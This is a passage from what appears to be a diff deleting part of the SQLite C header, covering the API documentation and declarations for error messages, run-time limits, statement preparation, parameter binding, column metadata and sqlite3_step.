char*, const char*, sqlite3_int64); - - -/* -** CAPI3REF: Error Codes And Messages -** -** ^The sqlite3_errcode() interface returns the numeric [result code] or -** [extended result code] for the most recent failed sqlite3_* API call -** associated with a [database connection]. If a prior API call failed -** but the most recent API call succeeded, the return value from -** sqlite3_errcode() is undefined. ^The sqlite3_extended_errcode() -** interface is the same except that it always returns the -** [extended result code] even when extended result codes are -** disabled. -** -** ^The sqlite3_errmsg() and sqlite3_errmsg16() return English-language -** text that describes the error, as either UTF-8 or UTF-16 respectively. -** ^(Memory to hold the error message string is managed internally. -** The application does not need to worry about freeing the result. -** However, the error string might be overwritten or deallocated by -** subsequent calls to other SQLite interface functions.)^ -** -** ^The sqlite3_errstr() interface returns the English-language text -** that describes the [result code], as UTF-8. -** ^(Memory to hold the error message string is managed internally -** and must not be freed by the application)^. -** -** When the serialized [threading mode] is in use, it might be the -** case that a second error occurs on a separate thread in between -** the time of the first error and the call to these interfaces. -** When that happens, the second error will be reported since these -** interfaces always report the most recent result. To avoid -** this, each thread can obtain exclusive use of the [database connection] D -** by invoking [sqlite3_mutex_enter]([sqlite3_db_mutex](D)) before beginning -** to use D and invoking [sqlite3_mutex_leave]([sqlite3_db_mutex](D)) after -** all calls to the interfaces listed here are completed. -** -** If an interface fails with SQLITE_MISUSE, that means the interface -** was invoked incorrectly by the application. In that case, the -** error code and message may or may not be set. -*/ -SQLITE_API int sqlite3_errcode(sqlite3 *db); -SQLITE_API int sqlite3_extended_errcode(sqlite3 *db); -SQLITE_API const char *sqlite3_errmsg(sqlite3*); -SQLITE_API const void *sqlite3_errmsg16(sqlite3*); -SQLITE_API const char *sqlite3_errstr(int); - -/* -** CAPI3REF: SQL Statement Object -** KEYWORDS: {prepared statement} {prepared statements} -** -** An instance of this object represents a single SQL statement. -** This object is variously known as a "prepared statement" or a -** "compiled SQL statement" or simply as a "statement". -** -** The life of a statement object goes something like this: -** -**
    -**
  1. Create the object using [sqlite3_prepare_v2()] or a related -** function. -**
  2. Bind values to [host parameters] using the sqlite3_bind_*() -** interfaces. -**
  3. Run the SQL by calling [sqlite3_step()] one or more times. -**
  4. Reset the statement using [sqlite3_reset()] then go back -** to step 2. Do this zero or more times. -**
  5. Destroy the object using [sqlite3_finalize()]. -**
-** -** Refer to documentation on individual methods above for additional -** information. -*/ -typedef struct sqlite3_stmt sqlite3_stmt; - -/* -** CAPI3REF: Run-time Limits -** -** ^(This interface allows the size of various constructs to be limited -** on a connection by connection basis. The first parameter is the -** [database connection] whose limit is to be set or queried. The -** second parameter is one of the [limit categories] that define a -** class of constructs to be size limited. The third parameter is the -** new limit for that construct.)^ -** -** ^If the new limit is a negative number, the limit is unchanged. -** ^(For each limit category SQLITE_LIMIT_NAME there is a -** [limits | hard upper bound] -** set at compile-time by a C preprocessor macro called -** [limits | SQLITE_MAX_NAME]. -** (The "_LIMIT_" in the name is changed to "_MAX_".))^ -** ^Attempts to increase a limit above its hard upper bound are -** silently truncated to the hard upper bound. -** -** ^Regardless of whether or not the limit was changed, the -** [sqlite3_limit()] interface returns the prior value of the limit. -** ^Hence, to find the current value of a limit without changing it, -** simply invoke this interface with the third parameter set to -1. -** -** Run-time limits are intended for use in applications that manage -** both their own internal database and also databases that are controlled -** by untrusted external sources. An example application might be a -** web browser that has its own databases for storing history and -** separate databases controlled by JavaScript applications downloaded -** off the Internet. The internal databases can be given the -** large, default limits. Databases managed by external sources can -** be given much smaller limits designed to prevent a denial of service -** attack. Developers might also want to use the [sqlite3_set_authorizer()] -** interface to further control untrusted SQL. The size of the database -** created by an untrusted script can be contained using the -** [max_page_count] [PRAGMA]. -** -** New run-time limit categories may be added in future releases. -*/ -SQLITE_API int sqlite3_limit(sqlite3*, int id, int newVal); - -/* -** CAPI3REF: Run-Time Limit Categories -** KEYWORDS: {limit category} {*limit categories} -** -** These constants define various performance limits -** that can be lowered at run-time using [sqlite3_limit()]. -** The synopsis of the meanings of the various limits is shown below. -** Additional information is available at [limits | Limits in SQLite]. -** -**
-** [[SQLITE_LIMIT_LENGTH]] ^(
SQLITE_LIMIT_LENGTH
-**
The maximum size of any string or BLOB or table row, in bytes.
)^ -** -** [[SQLITE_LIMIT_SQL_LENGTH]] ^(
SQLITE_LIMIT_SQL_LENGTH
-**
The maximum length of an SQL statement, in bytes.
)^ -** -** [[SQLITE_LIMIT_COLUMN]] ^(
SQLITE_LIMIT_COLUMN
-**
The maximum number of columns in a table definition or in the -** result set of a [SELECT] or the maximum number of columns in an index -** or in an ORDER BY or GROUP BY clause.
)^ -** -** [[SQLITE_LIMIT_EXPR_DEPTH]] ^(
SQLITE_LIMIT_EXPR_DEPTH
-**
The maximum depth of the parse tree on any expression.
)^ -** -** [[SQLITE_LIMIT_COMPOUND_SELECT]] ^(
SQLITE_LIMIT_COMPOUND_SELECT
-**
The maximum number of terms in a compound SELECT statement.
)^ -** -** [[SQLITE_LIMIT_VDBE_OP]] ^(
SQLITE_LIMIT_VDBE_OP
-**
The maximum number of instructions in a virtual machine program -** used to implement an SQL statement. This limit is not currently -** enforced, though that might be added in some future release of -** SQLite.
)^ -** -** [[SQLITE_LIMIT_FUNCTION_ARG]] ^(
SQLITE_LIMIT_FUNCTION_ARG
-**
The maximum number of arguments on a function.
)^ -** -** [[SQLITE_LIMIT_ATTACHED]] ^(
SQLITE_LIMIT_ATTACHED
-**
The maximum number of [ATTACH | attached databases].)^
-** -** [[SQLITE_LIMIT_LIKE_PATTERN_LENGTH]] -** ^(
SQLITE_LIMIT_LIKE_PATTERN_LENGTH
-**
The maximum length of the pattern argument to the [LIKE] or -** [GLOB] operators.
)^ -** -** [[SQLITE_LIMIT_VARIABLE_NUMBER]] -** ^(
SQLITE_LIMIT_VARIABLE_NUMBER
-**
The maximum index number of any [parameter] in an SQL statement.)^ -** -** [[SQLITE_LIMIT_TRIGGER_DEPTH]] ^(
SQLITE_LIMIT_TRIGGER_DEPTH
-**
The maximum depth of recursion for triggers.
)^ -**
-*/ -#define SQLITE_LIMIT_LENGTH 0 -#define SQLITE_LIMIT_SQL_LENGTH 1 -#define SQLITE_LIMIT_COLUMN 2 -#define SQLITE_LIMIT_EXPR_DEPTH 3 -#define SQLITE_LIMIT_COMPOUND_SELECT 4 -#define SQLITE_LIMIT_VDBE_OP 5 -#define SQLITE_LIMIT_FUNCTION_ARG 6 -#define SQLITE_LIMIT_ATTACHED 7 -#define SQLITE_LIMIT_LIKE_PATTERN_LENGTH 8 -#define SQLITE_LIMIT_VARIABLE_NUMBER 9 -#define SQLITE_LIMIT_TRIGGER_DEPTH 10 - -/* -** CAPI3REF: Compiling An SQL Statement -** KEYWORDS: {SQL statement compiler} -** -** To execute an SQL query, it must first be compiled into a byte-code -** program using one of these routines. -** -** The first argument, "db", is a [database connection] obtained from a -** prior successful call to [sqlite3_open()], [sqlite3_open_v2()] or -** [sqlite3_open16()]. The database connection must not have been closed. -** -** The second argument, "zSql", is the statement to be compiled, encoded -** as either UTF-8 or UTF-16. The sqlite3_prepare() and sqlite3_prepare_v2() -** interfaces use UTF-8, and sqlite3_prepare16() and sqlite3_prepare16_v2() -** use UTF-16. -** -** ^If the nByte argument is less than zero, then zSql is read up to the -** first zero terminator. ^If nByte is non-negative, then it is the maximum -** number of bytes read from zSql. ^When nByte is non-negative, the -** zSql string ends at either the first '\000' or '\u0000' character or -** the nByte-th byte, whichever comes first. If the caller knows -** that the supplied string is nul-terminated, then there is a small -** performance advantage to be gained by passing an nByte parameter that -** is equal to the number of bytes in the input string including -** the nul-terminator bytes as this saves SQLite from having to -** make a copy of the input string. -** -** ^If pzTail is not NULL then *pzTail is made to point to the first byte -** past the end of the first SQL statement in zSql. These routines only -** compile the first statement in zSql, so *pzTail is left pointing to -** what remains uncompiled. -** -** ^*ppStmt is left pointing to a compiled [prepared statement] that can be -** executed using [sqlite3_step()]. ^If there is an error, *ppStmt is set -** to NULL. ^If the input text contains no SQL (if the input is an empty -** string or a comment) then *ppStmt is set to NULL. -** The calling procedure is responsible for deleting the compiled -** SQL statement using [sqlite3_finalize()] after it has finished with it. -** ppStmt may not be NULL. -** -** ^On success, the sqlite3_prepare() family of routines return [SQLITE_OK]; -** otherwise an [error code] is returned. -** -** The sqlite3_prepare_v2() and sqlite3_prepare16_v2() interfaces are -** recommended for all new programs. The two older interfaces are retained -** for backwards compatibility, but their use is discouraged. -** ^In the "v2" interfaces, the prepared statement -** that is returned (the [sqlite3_stmt] object) contains a copy of the -** original SQL text. This causes the [sqlite3_step()] interface to -** behave differently in three ways: -** -**
    -**
  1. -** ^If the database schema changes, instead of returning [SQLITE_SCHEMA] as it -** always used to do, [sqlite3_step()] will automatically recompile the SQL -** statement and try to run it again. As many as [SQLITE_MAX_SCHEMA_RETRY] -** retries will occur before sqlite3_step() gives up and returns an error. -**
    2. -** -**
  2. -** ^When an error occurs, [sqlite3_step()] will return one of the detailed -** [error codes] or [extended error codes]. ^The legacy behavior was that -** [sqlite3_step()] would only return a generic [SQLITE_ERROR] result code -** and the application would have to make a second call to [sqlite3_reset()] -** in order to find the underlying cause of the problem. With the "v2" prepare -** interfaces, the underlying reason for the error is returned immediately. -**
    3. -** -**
  3. -** ^If the specific value bound to [parameter | host parameter] in the -** WHERE clause might influence the choice of query plan for a statement, -** then the statement will be automatically recompiled, as if there had been -** a schema change, on the first [sqlite3_step()] call following any change -** to the [sqlite3_bind_text | bindings] of that [parameter]. -** ^The specific value of WHERE-clause [parameter] might influence the -** choice of query plan if the parameter is the left-hand side of a [LIKE] -** or [GLOB] operator or if the parameter is compared to an indexed column -** and the [SQLITE_ENABLE_STAT3] compile-time option is enabled. -** the -**
    4. -**
-*/ -SQLITE_API int sqlite3_prepare( - sqlite3 *db, /* Database handle */ - const char *zSql, /* SQL statement, UTF-8 encoded */ - int nByte, /* Maximum length of zSql in bytes. */ - sqlite3_stmt **ppStmt, /* OUT: Statement handle */ - const char **pzTail /* OUT: Pointer to unused portion of zSql */ -); -SQLITE_API int sqlite3_prepare_v2( - sqlite3 *db, /* Database handle */ - const char *zSql, /* SQL statement, UTF-8 encoded */ - int nByte, /* Maximum length of zSql in bytes. */ - sqlite3_stmt **ppStmt, /* OUT: Statement handle */ - const char **pzTail /* OUT: Pointer to unused portion of zSql */ -); -SQLITE_API int sqlite3_prepare16( - sqlite3 *db, /* Database handle */ - const void *zSql, /* SQL statement, UTF-16 encoded */ - int nByte, /* Maximum length of zSql in bytes. */ - sqlite3_stmt **ppStmt, /* OUT: Statement handle */ - const void **pzTail /* OUT: Pointer to unused portion of zSql */ -); -SQLITE_API int sqlite3_prepare16_v2( - sqlite3 *db, /* Database handle */ - const void *zSql, /* SQL statement, UTF-16 encoded */ - int nByte, /* Maximum length of zSql in bytes. */ - sqlite3_stmt **ppStmt, /* OUT: Statement handle */ - const void **pzTail /* OUT: Pointer to unused portion of zSql */ -); - -/* -** CAPI3REF: Retrieving Statement SQL -** -** ^This interface can be used to retrieve a saved copy of the original -** SQL text used to create a [prepared statement] if that statement was -** compiled using either [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()]. -*/ -SQLITE_API const char *sqlite3_sql(sqlite3_stmt *pStmt); - -/* -** CAPI3REF: Determine If An SQL Statement Writes The Database -** -** ^The sqlite3_stmt_readonly(X) interface returns true (non-zero) if -** and only if the [prepared statement] X makes no direct changes to -** the content of the database file. -** -** Note that [application-defined SQL functions] or -** [virtual tables] might change the database indirectly as a side effect. -** ^(For example, if an application defines a function "eval()" that -** calls [sqlite3_exec()], then the following SQL statement would -** change the database file through side-effects: -** -** 
-**    SELECT eval('DELETE FROM t1') FROM t2;
-**
-** -** But because the [SELECT] statement does not change the database file -** directly, sqlite3_stmt_readonly() would still return true.)^ -** -** ^Transaction control statements such as [BEGIN], [COMMIT], [ROLLBACK], -** [SAVEPOINT], and [RELEASE] cause sqlite3_stmt_readonly() to return true, -** since the statements themselves do not actually modify the database but -** rather they control the timing of when other statements modify the -** database. ^The [ATTACH] and [DETACH] statements also cause -** sqlite3_stmt_readonly() to return true since, while those statements -** change the configuration of a database connection, they do not make -** changes to the content of the database files on disk. -*/ -SQLITE_API int sqlite3_stmt_readonly(sqlite3_stmt *pStmt); - -/* -** CAPI3REF: Determine If A Prepared Statement Has Been Reset -** -** ^The sqlite3_stmt_busy(S) interface returns true (non-zero) if the -** [prepared statement] S has been stepped at least once using -** [sqlite3_step(S)] but has not run to completion and/or has not -** been reset using [sqlite3_reset(S)]. ^The sqlite3_stmt_busy(S) -** interface returns false if S is a NULL pointer. If S is not a -** NULL pointer and is not a pointer to a valid [prepared statement] -** object, then the behavior is undefined and probably undesirable. -** -** This interface can be used in combination [sqlite3_next_stmt()] -** to locate all prepared statements associated with a database -** connection that are in need of being reset. This can be used, -** for example, in diagnostic routines to search for prepared -** statements that are holding a transaction open. -*/ -SQLITE_API int sqlite3_stmt_busy(sqlite3_stmt*); - -/* -** CAPI3REF: Dynamically Typed Value Object -** KEYWORDS: {protected sqlite3_value} {unprotected sqlite3_value} -** -** SQLite uses the sqlite3_value object to represent all values -** that can be stored in a database table. SQLite uses dynamic typing -** for the values it stores. ^Values stored in sqlite3_value objects -** can be integers, floating point values, strings, BLOBs, or NULL. -** -** An sqlite3_value object may be either "protected" or "unprotected". -** Some interfaces require a protected sqlite3_value. Other interfaces -** will accept either a protected or an unprotected sqlite3_value. -** Every interface that accepts sqlite3_value arguments specifies -** whether or not it requires a protected sqlite3_value. -** -** The terms "protected" and "unprotected" refer to whether or not -** a mutex is held. An internal mutex is held for a protected -** sqlite3_value object but no mutex is held for an unprotected -** sqlite3_value object. If SQLite is compiled to be single-threaded -** (with [SQLITE_THREADSAFE=0] and with [sqlite3_threadsafe()] returning 0) -** or if SQLite is run in one of reduced mutex modes -** [SQLITE_CONFIG_SINGLETHREAD] or [SQLITE_CONFIG_MULTITHREAD] -** then there is no distinction between protected and unprotected -** sqlite3_value objects and they can be used interchangeably. However, -** for maximum code portability it is recommended that applications -** still make the distinction between protected and unprotected -** sqlite3_value objects even when not strictly required. -** -** ^The sqlite3_value objects that are passed as parameters into the -** implementation of [application-defined SQL functions] are protected. -** ^The sqlite3_value object returned by -** [sqlite3_column_value()] is unprotected. -** Unprotected sqlite3_value objects may only be used with -** [sqlite3_result_value()] and [sqlite3_bind_value()]. -** The [sqlite3_value_blob | sqlite3_value_type()] family of -** interfaces require protected sqlite3_value objects. -*/ -typedef struct Mem sqlite3_value; - -/* -** CAPI3REF: SQL Function Context Object -** -** The context in which an SQL function executes is stored in an -** sqlite3_context object. ^A pointer to an sqlite3_context object -** is always first parameter to [application-defined SQL functions]. -** The application-defined SQL function implementation will pass this -** pointer through into calls to [sqlite3_result_int | sqlite3_result()], -** [sqlite3_aggregate_context()], [sqlite3_user_data()], -** [sqlite3_context_db_handle()], [sqlite3_get_auxdata()], -** and/or [sqlite3_set_auxdata()]. -*/ -typedef struct sqlite3_context sqlite3_context; - -/* -** CAPI3REF: Binding Values To Prepared Statements -** KEYWORDS: {host parameter} {host parameters} {host parameter name} -** KEYWORDS: {SQL parameter} {SQL parameters} {parameter binding} -** -** ^(In the SQL statement text input to [sqlite3_prepare_v2()] and its variants, -** literals may be replaced by a [parameter] that matches one of following -** templates: -** -**
    -**
  • ? -**
  • ?NNN -**
  • :VVV -**
  • @VVV -**
  • $VVV -**
-** -** In the templates above, NNN represents an integer literal, -** and VVV represents an alphanumeric identifier.)^ ^The values of these -** parameters (also called "host parameter names" or "SQL parameters") -** can be set using the sqlite3_bind_*() routines defined here. -** -** ^The first argument to the sqlite3_bind_*() routines is always -** a pointer to the [sqlite3_stmt] object returned from -** [sqlite3_prepare_v2()] or its variants. -** -** ^The second argument is the index of the SQL parameter to be set. -** ^The leftmost SQL parameter has an index of 1. ^When the same named -** SQL parameter is used more than once, second and subsequent -** occurrences have the same index as the first occurrence. -** ^The index for named parameters can be looked up using the -** [sqlite3_bind_parameter_index()] API if desired. ^The index -** for "?NNN" parameters is the value of NNN. -** ^The NNN value must be between 1 and the [sqlite3_limit()] -** parameter [SQLITE_LIMIT_VARIABLE_NUMBER] (default value: 999). -** -** ^The third argument is the value to bind to the parameter. -** ^If the third parameter to sqlite3_bind_text() or sqlite3_bind_text16() -** or sqlite3_bind_blob() is a NULL pointer then the fourth parameter -** is ignored and the end result is the same as sqlite3_bind_null(). -** -** ^(In those routines that have a fourth argument, its value is the -** number of bytes in the parameter. To be clear: the value is the -** number of bytes in the value, not the number of characters.)^ -** ^If the fourth parameter to sqlite3_bind_text() or sqlite3_bind_text16() -** is negative, then the length of the string is -** the number of bytes up to the first zero terminator. -** If the fourth parameter to sqlite3_bind_blob() is negative, then -** the behavior is undefined. -** If a non-negative fourth parameter is provided to sqlite3_bind_text() -** or sqlite3_bind_text16() then that parameter must be the byte offset -** where the NUL terminator would occur assuming the string were NUL -** terminated. If any NUL characters occur at byte offsets less than -** the value of the fourth parameter then the resulting string value will -** contain embedded NULs. The result of expressions involving strings -** with embedded NULs is undefined. -** -** ^The fifth argument to sqlite3_bind_blob(), sqlite3_bind_text(), and -** sqlite3_bind_text16() is a destructor used to dispose of the BLOB or -** string after SQLite has finished with it. ^The destructor is called -** to dispose of the BLOB or string even if the call to sqlite3_bind_blob(), -** sqlite3_bind_text(), or sqlite3_bind_text16() fails. -** ^If the fifth argument is -** the special value [SQLITE_STATIC], then SQLite assumes that the -** information is in static, unmanaged space and does not need to be freed. -** ^If the fifth argument has the value [SQLITE_TRANSIENT], then -** SQLite makes its own private copy of the data immediately, before -** the sqlite3_bind_*() routine returns. -** -** ^The sqlite3_bind_zeroblob() routine binds a BLOB of length N that -** is filled with zeroes. ^A zeroblob uses a fixed amount of memory -** (just an integer to hold its size) while it is being processed. -** Zeroblobs are intended to serve as placeholders for BLOBs whose -** content is later written using -** [sqlite3_blob_open | incremental BLOB I/O] routines. -** ^A negative value for the zeroblob results in a zero-length BLOB. -** -** ^If any of the sqlite3_bind_*() routines are called with a NULL pointer -** for the [prepared statement] or with a prepared statement for which -** [sqlite3_step()] has been called more recently than [sqlite3_reset()], -** then the call will return [SQLITE_MISUSE]. If any sqlite3_bind_() -** routine is passed a [prepared statement] that has been finalized, the -** result is undefined and probably harmful. -** -** ^Bindings are not cleared by the [sqlite3_reset()] routine. -** ^Unbound parameters are interpreted as NULL. -** -** ^The sqlite3_bind_* routines return [SQLITE_OK] on success or an -** [error code] if anything goes wrong. -** ^[SQLITE_RANGE] is returned if the parameter -** index is out of range. ^[SQLITE_NOMEM] is returned if malloc() fails. -** -** See also: [sqlite3_bind_parameter_count()], -** [sqlite3_bind_parameter_name()], and [sqlite3_bind_parameter_index()]. -*/ -SQLITE_API int sqlite3_bind_blob(sqlite3_stmt*, int, const void*, int n, void(*)(void*)); -SQLITE_API int sqlite3_bind_double(sqlite3_stmt*, int, double); -SQLITE_API int sqlite3_bind_int(sqlite3_stmt*, int, int); -SQLITE_API int sqlite3_bind_int64(sqlite3_stmt*, int, sqlite3_int64); -SQLITE_API int sqlite3_bind_null(sqlite3_stmt*, int); -SQLITE_API int sqlite3_bind_text(sqlite3_stmt*, int, const char*, int n, void(*)(void*)); -SQLITE_API int sqlite3_bind_text16(sqlite3_stmt*, int, const void*, int, void(*)(void*)); -SQLITE_API int sqlite3_bind_value(sqlite3_stmt*, int, const sqlite3_value*); -SQLITE_API int sqlite3_bind_zeroblob(sqlite3_stmt*, int, int n); - -/* -** CAPI3REF: Number Of SQL Parameters -** -** ^This routine can be used to find the number of [SQL parameters] -** in a [prepared statement]. SQL parameters are tokens of the -** form "?", "?NNN", ":AAA", "$AAA", or "@AAA" that serve as -** placeholders for values that are [sqlite3_bind_blob | bound] -** to the parameters at a later time. -** -** ^(This routine actually returns the index of the largest (rightmost) -** parameter. For all forms except ?NNN, this will correspond to the -** number of unique parameters. If parameters of the ?NNN form are used, -** there may be gaps in the list.)^ -** -** See also: [sqlite3_bind_blob|sqlite3_bind()], -** [sqlite3_bind_parameter_name()], and -** [sqlite3_bind_parameter_index()]. -*/ -SQLITE_API int sqlite3_bind_parameter_count(sqlite3_stmt*); - -/* -** CAPI3REF: Name Of A Host Parameter -** -** ^The sqlite3_bind_parameter_name(P,N) interface returns -** the name of the N-th [SQL parameter] in the [prepared statement] P. -** ^(SQL parameters of the form "?NNN" or ":AAA" or "@AAA" or "$AAA" -** have a name which is the string "?NNN" or ":AAA" or "@AAA" or "$AAA" -** respectively. -** In other words, the initial ":" or "$" or "@" or "?" -** is included as part of the name.)^ -** ^Parameters of the form "?" without a following integer have no name -** and are referred to as "nameless" or "anonymous parameters". -** -** ^The first host parameter has an index of 1, not 0. -** -** ^If the value N is out of range or if the N-th parameter is -** nameless, then NULL is returned. ^The returned string is -** always in UTF-8 encoding even if the named parameter was -** originally specified as UTF-16 in [sqlite3_prepare16()] or -** [sqlite3_prepare16_v2()]. -** -** See also: [sqlite3_bind_blob|sqlite3_bind()], -** [sqlite3_bind_parameter_count()], and -** [sqlite3_bind_parameter_index()]. -*/ -SQLITE_API const char *sqlite3_bind_parameter_name(sqlite3_stmt*, int); - -/* -** CAPI3REF: Index Of A Parameter With A Given Name -** -** ^Return the index of an SQL parameter given its name. ^The -** index value returned is suitable for use as the second -** parameter to [sqlite3_bind_blob|sqlite3_bind()]. ^A zero -** is returned if no matching parameter is found. ^The parameter -** name must be given in UTF-8 even if the original statement -** was prepared from UTF-16 text using [sqlite3_prepare16_v2()]. -** -** See also: [sqlite3_bind_blob|sqlite3_bind()], -** [sqlite3_bind_parameter_count()], and -** [sqlite3_bind_parameter_index()]. -*/ -SQLITE_API int sqlite3_bind_parameter_index(sqlite3_stmt*, const char *zName); - -/* -** CAPI3REF: Reset All Bindings On A Prepared Statement -** -** ^Contrary to the intuition of many, [sqlite3_reset()] does not reset -** the [sqlite3_bind_blob | bindings] on a [prepared statement]. -** ^Use this routine to reset all host parameters to NULL. -*/ -SQLITE_API int sqlite3_clear_bindings(sqlite3_stmt*); - -/* -** CAPI3REF: Number Of Columns In A Result Set -** -** ^Return the number of columns in the result set returned by the -** [prepared statement]. ^This routine returns 0 if pStmt is an SQL -** statement that does not return data (for example an [UPDATE]). -** -** See also: [sqlite3_data_count()] -*/ -SQLITE_API int sqlite3_column_count(sqlite3_stmt *pStmt); - -/* -** CAPI3REF: Column Names In A Result Set -** -** ^These routines return the name assigned to a particular column -** in the result set of a [SELECT] statement. ^The sqlite3_column_name() -** interface returns a pointer to a zero-terminated UTF-8 string -** and sqlite3_column_name16() returns a pointer to a zero-terminated -** UTF-16 string. ^The first parameter is the [prepared statement] -** that implements the [SELECT] statement. ^The second parameter is the -** column number. ^The leftmost column is number 0. -** -** ^The returned string pointer is valid until either the [prepared statement] -** is destroyed by [sqlite3_finalize()] or until the statement is automatically -** reprepared by the first call to [sqlite3_step()] for a particular run -** or until the next call to -** sqlite3_column_name() or sqlite3_column_name16() on the same column. -** -** ^If sqlite3_malloc() fails during the processing of either routine -** (for example during a conversion from UTF-8 to UTF-16) then a -** NULL pointer is returned. -** -** ^The name of a result column is the value of the "AS" clause for -** that column, if there is an AS clause. If there is no AS clause -** then the name of the column is unspecified and may change from -** one release of SQLite to the next. -*/ -SQLITE_API const char *sqlite3_column_name(sqlite3_stmt*, int N); -SQLITE_API const void *sqlite3_column_name16(sqlite3_stmt*, int N); - -/* -** CAPI3REF: Source Of Data In A Query Result -** -** ^These routines provide a means to determine the database, table, and -** table column that is the origin of a particular result column in -** [SELECT] statement. -** ^The name of the database or table or column can be returned as -** either a UTF-8 or UTF-16 string. ^The _database_ routines return -** the database name, the _table_ routines return the table name, and -** the origin_ routines return the column name. -** ^The returned string is valid until the [prepared statement] is destroyed -** using [sqlite3_finalize()] or until the statement is automatically -** reprepared by the first call to [sqlite3_step()] for a particular run -** or until the same information is requested -** again in a different encoding. -** -** ^The names returned are the original un-aliased names of the -** database, table, and column. -** -** ^The first argument to these interfaces is a [prepared statement]. -** ^These functions return information about the Nth result column returned by -** the statement, where N is the second function argument. -** ^The left-most column is column 0 for these routines. -** -** ^If the Nth column returned by the statement is an expression or -** subquery and is not a column value, then all of these functions return -** NULL. ^These routine might also return NULL if a memory allocation error -** occurs. ^Otherwise, they return the name of the attached database, table, -** or column that query result column was extracted from. -** -** ^As with all other SQLite APIs, those whose names end with "16" return -** UTF-16 encoded strings and the other functions return UTF-8. -** -** ^These APIs are only available if the library was compiled with the -** [SQLITE_ENABLE_COLUMN_METADATA] C-preprocessor symbol. -** -** If two or more threads call one or more of these routines against the same -** prepared statement and column at the same time then the results are -** undefined. -** -** If two or more threads call one or more -** [sqlite3_column_database_name | column metadata interfaces] -** for the same [prepared statement] and result column -** at the same time then the results are undefined. -*/ -SQLITE_API const char *sqlite3_column_database_name(sqlite3_stmt*,int); -SQLITE_API const void *sqlite3_column_database_name16(sqlite3_stmt*,int); -SQLITE_API const char *sqlite3_column_table_name(sqlite3_stmt*,int); -SQLITE_API const void *sqlite3_column_table_name16(sqlite3_stmt*,int); -SQLITE_API const char *sqlite3_column_origin_name(sqlite3_stmt*,int); -SQLITE_API const void *sqlite3_column_origin_name16(sqlite3_stmt*,int); - -/* -** CAPI3REF: Declared Datatype Of A Query Result -** -** ^(The first parameter is a [prepared statement]. -** If this statement is a [SELECT] statement and the Nth column of the -** returned result set of that [SELECT] is a table column (not an -** expression or subquery) then the declared type of the table -** column is returned.)^ ^If the Nth column of the result set is an -** expression or subquery, then a NULL pointer is returned. -** ^The returned string is always UTF-8 encoded. -** -** ^(For example, given the database schema: -** -** CREATE TABLE t1(c1 VARIANT); -** -** and the following statement to be compiled: -** -** SELECT c1 + 1, c1 FROM t1; -** -** this routine would return the string "VARIANT" for the second result -** column (i==1), and a NULL pointer for the first result column (i==0).)^ -** -** ^SQLite uses dynamic run-time typing. ^So just because a column -** is declared to contain a particular type does not mean that the -** data stored in that column is of the declared type. SQLite is -** strongly typed, but the typing is dynamic not static. ^Type -** is associated with individual values, not with the containers -** used to hold those values. -*/ -SQLITE_API const char *sqlite3_column_decltype(sqlite3_stmt*,int); -SQLITE_API const void *sqlite3_column_decltype16(sqlite3_stmt*,int); - -/* -** CAPI3REF: Evaluate An SQL Statement -** -** After a [prepared statement] has been prepared using either -** [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()] or one of the legacy -** interfaces [sqlite3_prepare()] or [sqlite3_prepare16()], this function -** must be called one or more times to evaluate the statement. -** -** The details of the behavior of the sqlite3_step() interface depend -** on whether the statement was prepared using the newer "v2" interface -** [sqlite3_prepare_v2()] and [sqlite3_prepare16_v2()] or the older legacy -** interface [sqlite3_prepare()] and [sqlite3_prepare16()]. The use of the -** new "v2" interface is recommended for new applications but the legacy -** interface will continue to be supported. -** -** ^In the legacy interface, the return value will be either [SQLITE_BUSY], -** [SQLITE_DONE], [SQLITE_ROW], [SQLITE_ERROR], or [SQLITE_MISUSE]. -** ^With the "v2" interface, any of the other [result codes] or -** [extended result codes] might be returned as well. -** -** ^[SQLITE_BUSY] means that the database engine was unable to acquire the -** database locks it needs to do its job. ^If the statement is a [COMMIT] -** or occurs outside of an explicit transaction, then you can retry the -** statement. If the statement is not a [COMMIT] and occurs within an -** explicit transaction then you should rollback the transaction before -** continuing. -** -** ^[SQLITE_DONE] means that the statement has finished executing -** successfully. sqlite3_step() should not be called again on this virtual -** machine without first calling [sqlite3_reset()] to reset the virtual -** machine back to its initial state. -** -** ^If the SQL statement being executed returns any data, then [SQLITE_ROW] -** is returned each time a new row of data is ready for processing by the -** caller. The values may be accessed using the [column access functions]. -** sqlite3_step() is called again to retrieve the next row of data. -** -** ^[SQLITE_ERROR] means that a run-time error (such as a constraint -** violation) has occurred. sqlite3_step() should not be called again on -** the VM. More information may be found by calling [sqlite3_errmsg()]. -** ^With the legacy interface, a more specific error code (for example, -** [SQLITE_INTERRUPT], [SQLITE_SCHEMA], [SQLITE_CORRUPT], and so forth) -** can be obtained by calling [sqlite3_reset()] on the -** [prepared statement]. ^In the "v2" interface, -** the more specific error code is returned directly by sqlite3_step(). -** -** [SQLITE_MISUSE] means that the this routine was called inappropriately. -** Perhaps it was called on a [prepared statement] that has -** already been [sqlite3_finalize | finalized] or on one that had -** previously returned [SQLITE_ERROR] or [SQLITE_DONE]. Or it could -** be the case that the same database connection is being used by two or -** more threads at the same moment in time. -** -** For all versions of SQLite up to and including 3.6.23.1, a call to -** [sqlite3_reset()] was required after sqlite3_step() returned anything -** other than [SQLITE_ROW] before any subsequent invocation of -** sqlite3_step(). Failure to reset the prepared statement using -** [sqlite3_reset()] would result in an [SQLITE_MISUSE] return from -** sqlite3_step(). But after version 3.6.23.1, sqlite3_step() began -** calling [sqlite3_reset()] automatically in this circumstance rather -** than returning [SQLITE_MISUSE]. This is not considered a compatibility -** break because any application that ever receives an SQLITE_MISUSE error -** is broken by definition. The [SQLITE_OMIT_AUTORESET] compile-time option -** can be used to restore the legacy behavior. -** -** Goofy Interface Alert: In the legacy interface, the sqlite3_step() -** API always returns a generic error code, [SQLITE_ERROR], following any -** error other than [SQLITE_BUSY] and [SQLITE_MISUSE]. You must call -** [sqlite3_reset()] or [sqlite3_finalize()] in order to find one of the -** specific [error codes] that better describes the error. -** We admit that this is a goofy design. The problem has been fixed -** with the "v2" interface. If you prepare all of your SQL statements -** using either [sqlite3_prepare_v2()] or [sqlite3_prepare16_v2()] instead -** of the legacy [sqlite3_prepare()] and [sqlite3_prepare16()] interfaces, -** then the more specific [error codes] are returned directly -** by sqlite3_step(). The use of the "v2" interface is recommended. -*/ -SQLITE_API int sqlite3_step(sqlite3_stmt*); - -/* -** CAPI3REF: Number of columns in a result set -** -** ^The sqlite3_data_count(P) interface returns the number of columns in the -** current row of the result set of [prepared statement] P. -** ^If prepared statement P does not have results ready to return -** (via calls to 